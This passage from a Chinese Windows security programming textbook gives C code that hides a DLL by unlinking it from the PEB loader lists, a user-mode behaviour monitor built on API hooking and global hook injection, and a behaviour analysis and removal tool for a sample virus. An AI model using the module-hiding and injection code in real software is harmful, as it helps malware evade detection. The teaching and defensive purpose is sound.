*BaseAddress = NULL,
 
*FullDllName = NULL;
 
__asm
 
{
 
mov　eax,fs:[0x30]
 
mov　PEB,eax
 
}
 
HMODULE hMod = GetModuleHandle(szModule);
 
Ldr　= *( ( DWORD ** )( ( unsigned char * )PEB + 0x0c ) );
 
Flink = *( ( DWORD ** )( ( unsigned char * )Ldr + 0x0c ) );
 
p　= Flink;
 
do
 
{
 
BaseAddress = *( ( DWORD ** )( ( unsigned char * )p + 0x18 ) );
 
FullDllName = *( ( DWORD ** )( ( unsigned char * )p + 0x28 ) );
 
if (BaseAddress == (DWORD *)hMod)
 
{
 
**( ( DWORD ** )(p + 1) ) = (DWORD)*( ( DWORD ** )p );
 
*(*( ( DWORD ** )p ) + 1) = (DWORD)*( ( DWORD ** )(p + 1) );
 
break;
 
}
 
p = *( ( DWORD ** )p );
 
}　while ( Flink != p );
 
Flink = *( ( DWORD ** )( ( unsigned char * )Ldr + 0x14 ) );
 
p　= Flink;
 
do
 
{
 
BaseAddress = *( ( DWORD ** )( ( unsigned char * )p + 0x10 ) );
 
FullDllName = *( ( DWORD ** )( ( unsigned char * )p + 0x20 ) );
 
if (BaseAddress == (DWORD *)hMod)
 
{
 
**( ( DWORD ** )(p + 1) ) = (DWORD)*( ( DWORD ** )p );
 
*(*( ( DWORD ** )p ) + 1) = (DWORD)*( ( DWORD ** )(p + 1) );
 
break;
 
}
 
p = *( ( DWORD ** )p );
 
}　while ( Flink != p );
 
Flink = *( ( DWORD ** )( ( unsigned char * )Ldr + 0x1c ) );
 
p　= Flink;
 
do
 
{
 
BaseAddress = *( ( DWORD ** )( ( unsigned char * )p + 0x8 ) );
 
FullDllName = *( ( DWORD ** )( ( unsigned char * )p + 0x18 ) );
 
if (BaseAddress == (DWORD *)hMod)
 
{
 
**( ( DWORD ** )(p + 1) ) = (DWORD)*( ( DWORD ** )p );
 
*(*( ( DWORD ** )p ) + 1) = (DWORD)*( ( DWORD ** )(p + 1) );
 
break;
 
}
 
p = *( ( DWORD ** )p );
 
}　while ( Flink != p );
 
}
 
在main()函数中调用这个函数，主函数如下：
 
int main(int argc, char* argv[])
 
{
 
HideModule("kernel32.dll");
 
getchar();
 
return 0;
 
}
 
接下来隐藏调用“kernel32.dll”这个模块，当然，这里的隐藏只能是这个程序运行时隐藏该进程中的“kernel32.dll”模块，对其余进程中的模块并没有影响。在程序的末尾使用getchar()，其用意是希望该进程可以停留住，否则它如果退出，便没有验证“kernel32.dll”模块是否真的被隐藏的机会了。编译连接并运行，然后用第3章中写的工具来查看一下，如图6-21所示。
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  图6-21 查看HideModule中Kernel32.dll模块被隐藏 

 
从图6-21中可以看出，在HideModule.exe进程中看不到Kernel32.dll的模块名。当然，就算用我们自己编写的枚举的模块函数也是没用的，因为模块已经不在链表中了。虽然这个程序把进程中“kernel32.dll”隐藏了，但是并没有多大的实际意义。隐藏模块主要是用在被注入的DLL中，也就是一个DLL文件被注入到远程线程中后，为了不被发现而隐藏。
 

 
6.4 安全工具开发基础
 
黑客攻防一直都在共同进步、发展着，一正一邪，而正邪只在一念之差。黑客攻防从技术层面上看完全没有差别，其差别只在于使用者的想法。前面介绍了恶意程序的编写，那么自然也要介绍一些关于安全工具的开发，从而保证了安全。
 

 
6.4.1 行为监控工具开发基础
 
现在有一种流行的防病毒软件被称作HIPS，中文名字叫做主机防御系统，比如EQ。该软件可以在进程创建时、有进程对注册表进行写入时或有驱动被加载时，给用户予以选择，选择是否拦截进程的创建、是否拦截注册表的写入、是否拦截驱动的加载等功能。
 
HIPS纯粹是以预防为主，比如有陌生的进程在被创建阶段，就可以让用户禁止，这样就避免了特征码查杀的滞后性。对于杀毒软件的特征码查杀而言，如果杀毒软件不更新病毒数据库，那么依赖病毒特征码的杀毒软件就无法查杀新型的病毒了，那么对新型的病毒就成为一个摆设了。
 
行为监控的原理主要就是对相关的关键API函数进行HOOK，比如前面介绍的进程拦截。当一个木马程序要秘密启动的时候，对 CreateProcessW()函数进行了 HOOK，在进程被创建前，会询问用户是否启动该进程，那么木马的隐秘启动就被暴露出来了。对于没有安全知识的大众来说，也许仍然会让木马运行，但是木马的运行可以被我们所发现了。对于没有安全知识的大众来说，使用 HIPS 可能有点困难。因为不是每个使用计算机的人都是对计算机有所了解的，计算机对于他们而言可能只用来打打游戏，或看看电影之类的。这该如何做呢？现在通常使用的方法就是使用白库和黑库，也就是所谓的白名单和黑名单。在进程被创建时，把要创建的进程到黑白库中去匹配，然后做相应的动作，或者放行，或者拦截。
 
下面就来实现一个应用层下的简单的进程防火墙，注册表防火墙的功能。
 
一、简单进程防火墙
 
进程防火墙指的是放行/拦截准备要创建的进程。通过前面章节的介绍我们知道，进程的创建是依靠CreateProcessW()函数完成的。只要HOOK CreateProcessW()函数就可以实现进程防火墙的功能。对于注册表来说，要对非法进程进行删除或写入注册表键值进行管控，因此需要 HOOK 两个注册表函数，分别是注册表写入函数 RegSetValueExW()和注册表删除函数RegDeleteValueW()。由于使用了HOOK，那么就必然要涉及DLL的编写，我们分DLL和EXE两部分来进行详细的介绍。
 
二、实现HOOK部分的DLL程序的编写
 
因为要对目标进程进行HOOK，因此要编写DLL程序。我们创建一个DLL程序，并加入前面的已封装的ILHook.h头文件和ILHook.cpp的实现文件。
 
为了能在所有的基于消息的进程中注入我们的DLL，必须使用Windows钩子，这样就可以将DLL轻易地注入到基于消息的进程中。代码如下：
 
#pragma data_seg(".shared")
 
HHOOK g_hHook = NULL;
 
HWND　g_ExeHwnd = NULL;
 
#pragma data_seg()
 
#pragma comment (linker, ".shared, RWS")
 
extern "C" __declspec(dllexport) VOID SetHookOn(HWND hWnd);
 
extern "C" __declspec(dllexport) VOID SetHookOff();
 
LRESULT CALLBACK GetMsgProc(
 
int code,　　// hook code
 
WPARAM wParam,　// removal option
 
LPARAM lParam　// message
 
)
 
{
 
return CallNextHookEx(g_hHook, code, wParam, lParam);
 
}
 
VOID SetHookOn(HWND hWnd)
 
{
 
g_ExeHwnd = hWnd;
 
SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hInst, 0);
 
}
 
VOID SetHookOff()
 
{
 
UnhookWindowsHookEx(g_hHook);
 
g_hHook = NULL;
 
}
 
以上函数用来定义导出函数，用于加载完成 HOOK 功能的 DLL 文件。这里利用WH_GETMESSAGE这个钩子类型，在前面的内容中是介绍过的，这里就不做过多的介绍了。
 
定义3个CILHook类的对象，分别用来对CreateProcessW()函数、RegSetValueExW()函数和RegDeleteValueW()函数进行挂钩。定义如下：
 
CILHook RegSetValueExWHook;
 
CILHook CreateProcessWHook;
 
CILHook RegDeleteValueWHook;
 
HOOK部分是在DllMain()函数中完成的，代码如下：
 
BOOL APIENTRY DllMain( HANDLE hModule,
 
DWORD ul_reason_for_call,
 
LPVOID lpReserved
 
)
 
{
 
switch ( ul_reason_for_call )
 
{
 
case DLL_PROCESS_ATTACH:
 
{
 
g_hInst = (HINSTANCE)hModule;
 
RegSetValueExWHook.Hook("advapi32.dll",
 
"RegSetValueExW",
 
(PROC)MyRegSetValueExA);
 
RegDeleteValueWHook.Hook("advapi32.dll",
 
"RegDeleteValueW",
 
(PROC)MyRegDeleteValueW);
 
CreateProcessWHook.Hook("kernel32.dll",
 
"CreateProcessW",
 
(PROC)MyCreateProcessW);
 
break;
 
}
 
case DLL_PROCESS_DETACH:
 
{
 
RegSetValueExWHook.UnHook();
 
RegDeleteValueWHook.UnHook();
 
CreateProcessWHook.UnHook();
 
if ( g_hHook != NULL )
 
{
 
SetHookOff();
 
}
 
break;
 
}
 
}
 
return TRUE;
 
}
 
对于放行/拦截这部分是给用户选择的，那么就要给出提示让用户进行选择，至少要给出放行/拦截的类型，比如是注册表写入或是进程的创建，还要给出是哪个进程进行的操作。要把这个信息反馈给用户，我们定义一个结构体，将该结构体的信息发送给用于加载 DLL 的EXE文件，并让EXE给出提示。结构体定义如下：
 
typedef struct _HIPS_INFO
 
{
 
WCHAR wProcessName[0x200];
 
DWORD dwHipsClass;
 
}HIPS_INFO, *PHIPS_INFO;
 
定义一些常量用来标识放行/拦截的类型，定义如下：
 
#define HIPS_CREATEPROCESS　0x00000001L
 
#define HIPS_REGSETVALUE　0x00000002L
 
#define HIPS_REGDELETEVALUE 0x00000003L
 
将这些定义好以后，就可以开始完成HOOK函数了，我们主要给出CreateProcessW()函数的HOOK实现，其余两个函数的HOOK实现请大家自行实现。代码如下：
 
BOOL
 
WINAPI
 
MyCreateProcessW(
 
__in_opt　LPCWSTR lpApplicationName,
 
__inout_opt LPWSTR lpCommandLine,
 
__in_opt　LPSECURITY_ATTRIBUTES lpProcessAttributes,
 
__in_opt　LPSECURITY_ATTRIBUTES lpThreadAttributes,
 
__in　　BOOL bInheritHandles,
 
__in　　DWORD dwCreationFlags,
 
__in_opt　LPVOID lpEnvironment,
 
__in_opt　LPCWSTR lpCurrentDirectory,
 
__in　　LPSTARTUPINFOW lpStartupInfo,
 
__out　LPPROCESS_INFORMATION lpProcessInformation
 
)
 
{
 
HIPS_INFO sz = { 0 };
 
if ( wcslen(lpCommandLine) != 0 )
 
{
 
wcscpy(sz.wProcessName, lpCommandLine);
 
}
 
else
 
{
 
wcscpy(sz.wProcessName, lpApplicationName);
 
}
 
sz.dwHipsClass = HIPS_CREATEPROCESS;
 
COPYDATASTRUCT cds = { NULL, sizeof(HIPS_INFO), (void *)&sz };
 
BOOL bRet = FALSE;
 
if ( SendMessage(FindWindow(NULL, "Easy Hips For R3"),
 
WM_COPYDATA,
 
GetCurrentProcessId(),
 
(LPARAM)&cds) != -1 )
 
{
 
CreateProcessWHook.UnHook();
 
bRet = CreateProcessW(lpApplicationName, lpCommandLine,
 
lpProcessAttributes, lpThreadAttributes,
 
bInheritHandles, dwCreationFlags,
 
lpEnvironment, lpCurrentDirectory,
 
lpStartupInfo, lpProcessInformation);
 
CreateProcessWHook.ReHook();
 
}
 
return bRet;
 
}
 
这里使用了一个SendMessage()函数，该函数用来发送一个WM_COPYDATA消息，将结构体传给了加载DLL的EXE程序，使EXE程序把提示显示给用户。
 
SendMessage()函数的功能非常强大，该函数的定义如下：
 
LRESULT SendMessage(
 
HWND hWnd,　// handle to destination window
 
UINT Msg,　　// message
 
WPARAM wParam,　// first message parameter
 
LPARAM lParam　// second message parameter
 
);
 
该函数的第一个参数是目标窗口的句柄，第二个参数是消息类型，最后两个参数是消息的附加参数，根据消息类型的不同而不同。
 
以上代码就是DLL程序的全部了，剩下两个对注册表操作的HOOK函数由大家自己完成。
 
三、行为监控前台程序的编写
 
先来看一下程序能达到的效果，然后再给大家讲解程序EXE部分的实现代码，如图6-22和图6-23所示。
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  图6-22 程序主界面 

 
从上面两个图可以看出，程序的确是可以拦截进程的启动的，当单击“允许”按钮后，进程会被正常创建，当单击“取消”按钮后，进程将被阻止创建。这就是我们最终要完成的功能，来看看主要的实现代码。
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  图6-23 拦截提示框 

 
EXE 的部分主要就是如何来启动行为监控功能，还有就是如果接收 DLL 程序通过SendMessage()函数发出的消息来给用户弹出提示框。进行拦截的部分已经在 DLL 程序中通过HOOK实现了，所以重点也就在界面上和消息的接收上了。
 
先看如何启动和停止行为的监控。代码如下：
 
typedef VOID (*SETHOOKON)(HWND);
 
typedef VOID (*SETHOOKOFF)();
 
void CHipsDlg::OnBtnOn()
 
{
 
// TODO: Add your control notification handler code here
 
m_hInst = LoadLibrary("EasyHips.dll");
 
SETHOOKON SetHookOn = (SETHOOKON)GetProcAddress(m_hInst, "SetHookOn");
 
SetHookOn(GetSafeHwnd());
 
FreeLibrary(m_hInst);
 
m_BtnOn.EnableWindow(FALSE);
 
m_BtnOff.EnableWindow(TRUE);
 
}
 
void CHipsDlg::OnBtnOff()
 
{
 
// TODO: Add your control notification handler code here
 
m_hInst = GetModuleHandle("EasyHips.dll");
 
SETHOOKOFF SetHookOff = (SETHOOKOFF)GetProcAddress(m_hInst, "SetHookOff");
 
SetHookOff();
 
CloseHandle(m_hInst);
 
FreeLibrary(m_hInst);
 
m_BtnOn.EnableWindow(TRUE);
 
m_BtnOff.EnableWindow(FALSE);
 
}
 
从代码中不难看出，直接调用了DLL的两个导出函数，就可以开启我们的打开。在关闭时为什么调用了CloseHandle()函数和FreeLibrary()函数呢。大家把FreeLibrary()函数去掉，然后单击“停止”监控行为，但是还是处在被监控的状态下。因为恢复 Inline Hook 是在 DLL被卸载的情况。因此，在卸载时，我们调用GetModuleHandle()获得本进程的DLL句柄后，虽然 CloseHandle()了，但是只是减少了对 DLL 的引用计数，并没有真正的释放，必须再次使用FreeLibrary()函数才可以使DLL 被卸载掉，从而恢复Inline Hook。
 
对于EXE程序接收DLL消息的代码如下：
 
BOOL CHipsDlg::OnCopyData(CWnd* pWnd, COPYDATASTRUCT* pCopyDataStruct)
 
{
 
// TODO: Add your message handler code here and/or call default
 
CTips Tips;
 
PHIPS_INFO pHipsInfo = (PHIPS_INFO)pCopyDataStruct->lpData;
 
wcscpy(Tips.sz, pHipsInfo->wProcessName);
 
Tips.DoModal();
 
int nNum = m_HipsReports.GetItemCount();
 
CString Str;
 
Str.Format("%d", nNum);
 
m_HipsReports.InsertItem(nNum, Str);
 
SYSTEMTIME StTime;
 
GetLocalTime(&StTime);
 
Str.Format("%04d/%02d/%02d %02d:%02d:%02d",
 
StTime.wYear,
 
StTime.wMonth,
 
StTime.wDay,
 
StTime.wHour,
 
StTime.wMonth,
 
StTime.wSecond);
 
m_HipsReports.SetItemText(nNum, 1, Str);
 
Str.Format("%S", Tips.sz);
 
m_HipsReports.SetItemText(nNum, 2, Str);
 
switch ( pHipsInfo->dwHipsClass )
 
{
 
case HIPS_CREATEPROCESS:
 
{
 
Str = "进程创建";
 
break;
 
}
 
case HIPS_REGSETVALUE:
 
{
 
break;
 
}
 
case HIPS_REGDELETEVALUE:
 
{
 
break;
 
}
 
}
 
m_HipsReports.SetItemText(nNum, 3, Str);
 
Str.Format("%s", Tips.bRet ? "放行" : "拦截");
 
m_HipsReports.SetItemText(nNum, 4, Str);
 
if ( Tips.bRet )
 
{
 
return 0;
 
}
 
else
 
{
 
return -1;
 
}
 
return CDialog::OnCopyData(pWnd, pCopyDataStruct);
 
}
 
这部分代码就是对WM_COPYDATA消息的一个响应，整个代码基本是对界面进行了操作。在代码中有一个CTips类的对象，这个类是用来自定义窗口的。该窗口就是用来提示放行和拦截的窗口。带窗口的主要代码如下：
 
void CTips::OnBtnOk()
 
{
 
// TODO: Add your control notification handler code here
 
bRet = TRUE;
 
EndDialog(0);
 
}
 
void CTips::OnBtnCancel()
 
{
 
// TODO: Add your control notification handler code here
 
bRet = FALSE;
 
EndDialog(0);
 
}
 
DLL程序中的SendMessage()函数的返回要等待WM_COPYDATA的消息结束，并从中获得返回值来决定下一步是否执行，因此这里只要简单地返回TRUE或FALSE即可。
 
对于行为监控，就介绍这么多。这个例子演示了如何通过Inline Hook 来达到对进程创建、注册表操作的管控。当然，我们的代码并不能管控所有的进程，而且我们的行为监控过于简单，很容易被恶意程序突破。我们主要是通过实例来完成对行为监控原理的学习，希望可以起到抛砖引玉的作用。
 

 
6.4.2 专杀工具
 
现在免费的杀毒软件越来越多了，例如360安全卫士、金山毒霸、瑞星……有很多人不会去安装杀毒软件，如果爆发了传播速度较快，感染规模较大的病毒或蠕虫的话，杀毒厂商会为了阻止这种比较“暴力”的病毒或蠕虫的传播与感染，会推出免费的供网友使用的专杀工具。
 
专杀工具是针对某一个或某一类的病毒、木马或蠕虫等恶意软件开发的工具。专业的杀毒软件需要专业的反病毒公司来进行开发，而专杀工具可能是由反病毒公司开发，也可能是由个人来进行开发。
 
一、病毒分析方法简介
 
对于编写专杀工具，除非是感染型病毒，通常情况下并不需要对病毒做逆向分析，只需要对病毒进行行为分析就可以编写专杀工具。而如果病毒是感染型的，需要修复被病毒感染的文件，那么就不能只是简单地对病毒进行行为分析，必须对病毒进行逆向分析，从而修复被病毒所感染的文件。
 
（1）行为分析。病毒、木马等恶意程序都有一些比较隐蔽的“小动作”，而这些动作一般情况下是正常程序所没有的。比如，把自己添加进启动项，或把自己的某个DLL文件注入到其他进程中去，或把自己复制到系统目录下……这些行为都不是正常的行为。我们拿到一个病毒样本以后，通常是将病毒复制到虚拟机中，然后打开一系列的监控工具，比如注册表监控、文件监控、进程监控、网络监控等，将各种准备工作做好以后，在虚拟机中把病毒运行起来，看病毒对注册表进行了哪些操作，对文件进行了哪些操作，连接了哪个IP地址、创建了多少进程。通过观察这一系列操作，就可以写一个程序。只要把它创建的进程结束掉，把它写入注册表的内容删除掉，把它新建的文件删除掉，就等于把这个病毒杀掉了。当然整个过程并不会像说起来这么容易。
 
（2）逆向分析。当病毒感染了可执行文件以后，感染的是什么内容是无法通过行为监控工具发现的。而病毒对可执行文件的感染，有可能是添加一个新节来存放病毒代码，也可能是通过节与节之间的缝隙来存放病毒代码的。无论是哪种方式，都需要通过逆向的手段进行分析。通常的逆向工具有OD、IDA、WinDBG。
 
二、病毒查杀方法简介绍
 
病毒的查杀方法有很多种，在网络安全日益普及的今天，在杀毒软件公司大力宣传的今天，想必大部分关心网络安全的人对于病毒查杀的技术有了一些了解。当今常见的主流病毒查杀技术有特征码查杀、启发式查杀、虚拟机查杀和主动防御等。下面简单地说说特征码查杀和启发式查杀两种病毒查杀方法。
 
（1）特征码查杀。特征码查杀是杀毒软件厂商查杀病毒的较为原始的一种方法。该方法是通过从病毒体内提取病毒特征码，从而能够有效识别出病毒。这种方法只能查杀已知病毒，对于未知病毒则无能为力。
 
（2）启发式查杀。静态地通过一系列的“带权规则组合”对文件进行判定，如果值高于某个界限则被认定为病毒，否则不为病毒。启发式查杀可以相对有效地识别出病毒，但是往往也会出现误报的情况。
 
三、编写病毒专杀工具之简单病毒行为分析
 
我们来编写一个简单的病毒专杀工具，这个病毒专杀工具非常简单，用到的知识都是前面的知识。先准备一个简单的病毒样例，然后在虚拟机中进行一次行为分析，然后写出一个简单的病毒专杀工具。虽然前面的例子都有代码让大家练习，但是这次我们要对病毒进行行为分析，然后编写代码，完成我们的专杀工具。
 
我们将在虚拟机中进行病毒分析，因此安装虚拟机是一个必须的步骤。虚拟机也是一个软件，它用来模拟计算机的硬件，在虚拟机中可以安装操作系统，安装好操作系统后可以安装各种各样的应用软件，与操作真实的计算机是没有任何区别的。在虚拟机中的操作完全不影响我们真实的系统。除了对病毒进行分析需要安装虚拟机以外，在进行双机调试系统内核时安装虚拟机也是不错的选择。在虚拟机中安装其他种类的操作系统也非常方便，总之使用虚拟机的好处非常多。这里使用VMware这款虚拟机，请大家自行安装。
 
在安装好虚拟机以后，在虚拟机上放置几个行为分析的工具，包括 FileMon、RegMon和Procexp三个工具。分别对几个工具进行设置，对FileMon和RegMon进行字体设置，并设置过滤选项，如图6-24和图6-25所示。
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  图6-24 对RegMon设置过滤 

 
对于FileMon和RegMon的字体设置在菜单“选项”->“字体”命令下，通常笔者选择“宋体”、“9号”，大家可以根据自己的喜好进行设置。在设置过滤条件时，“包含”后面输入的是需要监控的文件，这里的“a2.exe”是病毒的名字。也就是说，只监控与该病毒名相关的操作。
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  图6-25 对FileMon设置过滤 

 
下面对Procexp进行设置，我们需要在进程创建或关闭时持续5秒钟高亮显示进程，以进行观察。设置方法为单击菜单“Options”->“Difference Highlight Duration”命令，在弹出的对话框中设置“Difference Highlight Duration”为“5”，如图6-26 所示。
 
将上面几个工具都设置完后，运行一下病毒，观察几个工具的反应，如图6-27、图6-28和图6-29所示。
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  图6-26 对Procexp的设置 
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  图6-27 在Procexp中看到的mirwzntk.exe的病毒进程 
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  图6-28 RegMon对注册表监控的信息 

 
在图 6-27 中看到的病毒进程名为“mirwzntk.exe”，而不是“a2.exe”。这个进程是病毒“a2.exe”创建的，在病毒做完其相关工作后，将自己删除。图6-28和图6-29不一一进行说明了，下面作一下行为分析的总结。
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  图6-29 FileMon对文件监控的信息 

 
病毒在注册中写入了一个值，值的内容为 “mirwznt.dll”，写入的位置如下：HKLM\SOFTWARE\MICROSOFT\WINDOWSNT\CURRENTVERSION\WINDOWS\APPINIT_DLLS。病毒在 C:\WINDOWS\system32\下创建了两个文件，分别是“mirwznt.dll”和“mirwzntk.exe”，创建病毒进程mirwzntk.exe，并生成了一个.bat的批处理程序用于删除自身，也就是删除“a2.exe”。
 
下面来写一个专杀工具对该病毒进行查杀，如图6-30所示。
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  图6-30 mirwzntk病毒的专杀工具 

 
四、编写病毒专杀工具之专杀工具编写
 
在查杀病毒的技术中有一种方法类似特征码查杀法，这种方法并不从病毒体内提取特征码，而是计算病毒的散列值。也就是对病毒的大小进行散列计算，然后在查杀的过程中计算每个文件的散列，然后进行比较。这种方法简单且易实现，常见的有 MD5、CRC32 等一些计算散列的算法。
 
下面选用CRC32算法计算函数的散列值，这里给出一个现成的CRC32函数，只需直接调用就可以了，代码如下：
 
DWORD CRC32(BYTE* ptr,DWORD Size)
 
{
 
DWORD crcTable[256],crcTmp1;
 
//动态生成CRC-32表
 
for (int i=0; i<256; i++)
 
{
 
crcTmp1 = i;
 
for (int j=8; j>0; j--)
 
{
 
if (crcTmp1&1) crcTmp1 = (crcTmp1 >> 1) ^ 0xEDB88320L;
 
else crcTmp1 >>= 1;
 
}
 
crcTable[i] = crcTmp1;
 
}
 
//计算CRC32值
 
DWORD crcTmp2= 0xFFFFFFFF;
 
while(Size--)
 
{
 
crcTmp2 = ((crcTmp2>>8) & 0x00FFFFFF) ^ crcTable[ (crcTmp2^(*ptr)) & 0xFF ];
 
ptr++;
 
}
 
return (crcTmp2^0xFFFFFFFF);
 
}
 
该函数的参数有两个，一个是指向缓冲区的指针，第二个是缓冲区的长度。将文件全部读入缓冲区内，然后用CRC32函数计算文件的CRC32散列值。看一下查杀的源代码吧。
 
// 查找指定进程
 
BOOL FindTargetProcess(char *pszProcessName,DWORD *dwPid)
 
{
 
BOOL bFind = FALSE;
 
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
 
if (hProcessSnap == INVALID_HANDLE_VALUE)
 
{
 
return bFind;
 
}
 
PROCESSENTRY32 pe = { 0 };
 
pe.dwSize = sizeof(pe);
 
BOOL bRet = Process32First(hProcessSnap,&pe);
 
while (bRet)
 
{
 
if (lstrcmp(pe.szExeFile,pszProcessName) == 0)
 
{
 
*dwPid = pe.th32ProcessID;
 
bFind = TRUE;
 
break;
 
}
 
bRet = Process32Next(hProcessSnap,&pe);
 
}
 
CloseHandle(hProcessSnap);
 
return bFind;
 
}
 
// 提升权限
 
BOOL EnableDebugPrivilege(char *pszPrivilege)
 
{
 
HANDLE hToken = INVALID_HANDLE_VALUE;
 
LUID luid;
 
TOKEN_PRIVILEGES tp;
 
BOOL bRet = OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_
 
QUERY,&hToken);
 
if (bRet == FALSE)
 
{
 
return bRet;
 
}
 
bRet = LookupPrivilegeValue(NULL,pszPrivilege,&luid);
 
if (bRet == FALSE)
 
{
 
return bRet;
 
}
 
tp.PrivilegeCount = 1;
 
tp.Privileges[0].Luid = luid;
 
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 
bRet = AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
 
return bRet;
 
}
 
#define EXE_VIRUS_NAME "mirwzntk.exe"
 
#define DLL_VIRUS_NAME "mirwznt.dll"
 
void CKillMirwzntkDlg::OnKill()
 
{
 
// TODO: Add your control notification handler code here
 
BOOL bRet = FALSE;
 
DWORD dwPid = 0;
 
CString csTxt;
 
bRet = FindTargetProcess("mirwzntk.exe",&dwPid);
 
if (bRet == TRUE)
 
{
 
csTxt = _T("检查系统内存...\r\n");
 
csTxt += _T("系统中存在病毒进程:mirwzntk.exe\r\n");
 
csTxt += _T("准备进行查杀...\r\n");
 
SetDlgItemText(IDC_LIST,csTxt);
 
bRet = EnableDebugPrivilege(SE_DEBUG_NAME);
 
if (bRet == FALSE)
 
{
 
csTxt += _T("提升权限失败\r\n");
 
}
 
else
 
{
 
csTxt += _T("提升权限成功\r\n");
 
}
 
SetDlgItemText(IDC_LIST,csTxt);
 
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPid);
 
if (hProcess == INVALID_HANDLE_VALUE)
 
{
 
csTxt += _T("无法结束进程\r\n");
 
return ;
 
}
 
bRet = TerminateProcess(hProcess,0);
 
if (bRet == FALSE)
 
{
 
csTxt += _T("无法结束进程\r\n");
 
return ;
 
}
 
csTxt += _T("结束病毒进程\r\n");
 
SetDlgItemText(IDC_LIST,csTxt);
 
CloseHandle(hProcess);
 
}
 
else
 
{
 
csTxt += _T("系统中不存在mirwzntk.exe病毒进程\r\n");
 
}
 
Sleep(10);
 
char szSysPath[MAX_PATH] = { 0 };
 
GetSystemDirectory(szSysPath,MAX_PATH);
 
lstrcat(szSysPath,"\\");
 
lstrcat(szSysPath,EXE_VIRUS_NAME);
 
csTxt += _T("检查硬盘文件...\r\n");
 
if (GetFileAttributes(szSysPath) == 0xFFFFFFFF)
 
{
 
csTxt += _T("mirwzntk.exe病毒文件不存在\r\n");
 
}
 
else
 
{
 
csTxt += _T("mirwzntk.exe病毒文件正在计算校验和\r\n");
 
HANDLE hFile = CreateFile(szSysPath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_
 
EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
 
if (hFile == INVALID_HANDLE_VALUE)
 
{
 
MessageBox("Create Error");
 
return ;
 
}
 
DWORD dwSize = GetFileSize(hFile,NULL);
 
if (dwSize == 0xFFFFFFFF)
 
{
 
MessageBox("GetFileSize Error");
 
return ;
 
}
 
BYTE *pFile = (BYTE*)malloc(dwSize);
 
if (pFile == NULL)
 
{
 
MessageBox("malloc Error");
 
return ;
 
}
 
DWORD dwNum = 0;
 
ReadFile(hFile,pFile,dwSize,&dwNum,NULL);
 
DWORD dwCrc32 = CRC32(pFile,dwSize);
 
if (pFile != NULL)
 
{
 
free(pFile);
 
pFile = NULL;
 
}
 
CloseHandle(hFile);
 
// 比较散列值
 
// 0x2A2F2D77为mirwznt.exe文件散列值
 
if (dwCrc32 != 0x2A2F2D77)
 
{
 
csTxt += _T("校验和验证失败\r\n");
 
}
 
else
 
{
 
csTxt += _T("校验和验证成功，正在删除...\r\n");
 
bRet = DeleteFile(szSysPath);
 
if (bRet)
 
{
 
csTxt += _T("mirwzntk.exe病毒被删除\r\n");
 
}
 
else
 
{
 
csTxt += _T("mirwzntk.exe病毒无法被删除\r\n");
 
}
 
}
 
}
 
SetDlgItemText(IDC_LIST,csTxt);
 
Sleep(10);
 
GetSystemDirectory(szSysPath,MAX_PATH);
 
lstrcat(szSysPath,"\\");
 
lstrcat(szSysPath,DLL_VIRUS_NAME);
 
if (GetFileAttributes(szSysPath) == 0xFFFFFFFF)
 
{
 
csTxt += _T("mirwznt.dll病毒文件不存在\r\n");
 
}
 
else
 
{
 
csTxt += _T("mirwznt.dll病毒文件正在计算校验和\r\n");
 
HANDLE hFile = CreateFile(szSysPath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_
 
EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
 
if (hFile == INVALID_HANDLE_VALUE)
 
{
 
MessageBox("Create Error");
 
return ;
 
}
 
DWORD dwSize = GetFileSize(hFile,NULL);
 
if (dwSize == 0xFFFFFFFF)
 
{
 
MessageBox("GetFileSize Error");
 
return ;
 
}
 
BYTE *pFile = (BYTE*)malloc(dwSize);
 
if (pFile == NULL)
 
{
 
MessageBox("malloc Error");
 
return ;
 
}
 
DWORD dwNum = 0;
 
ReadFile(hFile,pFile,dwSize,&dwNum,NULL);
 
DWORD dwCrc32 = CRC32(pFile,dwSize);
 
if (pFile != NULL)
 
{
 
free(pFile);
 
pFile = NULL;
 
}
 
CloseHandle(hFile);
 
// 比较散列值
 
// 0x2D0F20FF为mirwznt.dll文件散列值
 
if (dwCrc32 != 0x2D0F20FF)
 
{
 
csTxt += _T("校验和验证失败\r\n");
 
}
 
else
 
{
 
csTxt += _T("校验和验证成功，正在删除...\r\n");
 
bRet = DeleteFile(szSysPath);
 
if (bRet)
 
{
 
csTxt += _T("mirwznt.dll病毒被删除\r\n");
 
}
 
else
 
{
 
csTxt += _T("mirwznt.dll病毒无法被删除\r\n");
 
}
 
}
 
}
 
Sleep(10);
 
csTxt += _T("正在检查注册表...\r\n");
 
SetDlgItemText(IDC_LIST,csTxt);
 
HKEY hKey;
 
char cData[MAXBYTE] = { 0 };
 
LONG lSize = MAXBYTE;
 
long lRet = RegOpenKey(HKEY_LOCAL_MACHINE,
 
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows",
 
&hKey);
 
if(lRet == ERROR_SUCCESS)
 
{
 
lRet = RegQueryValueEx(hKey,"AppInit_DLLs",NULL,NULL,(unsigned char *)cData,
 
(unsigned long *)&lSize);
 
if ( lRet == ERROR_SUCCESS)
 
{
 
if (lstrcmp(cData,"mirwznt.dll") == 0)
 
{
 
csTxt += _T("注册表项中存在病毒信息\r\n");
 
}
 
lRet = RegDeleteValue(hKey,"AppInit_DLLs");
 
if (lRet == ERROR_SUCCESS)
 
{
 
csTxt += _T("注册表项中的病毒信息已删除\r\n");
 
}
 
else
 
{
 
csTxt += _T("注册表项中的病毒信息无法删除\r\n");
 
}
 
}
 
else
 
{
 
csTxt += _T("注册表存项中不存在病毒信息\r\n");
 
}
 
RegCloseKey(hKey);
 
}
 
else
 
{
 
csTxt += _T("注册表信息读取失败\r\n");
 
}
 
csTxt += _T("病毒检测完成，请使用专业杀毒软件进行全面扫描\r\n");
 
SetDlgItemText(IDC_LIST,csTxt);
 
}
 
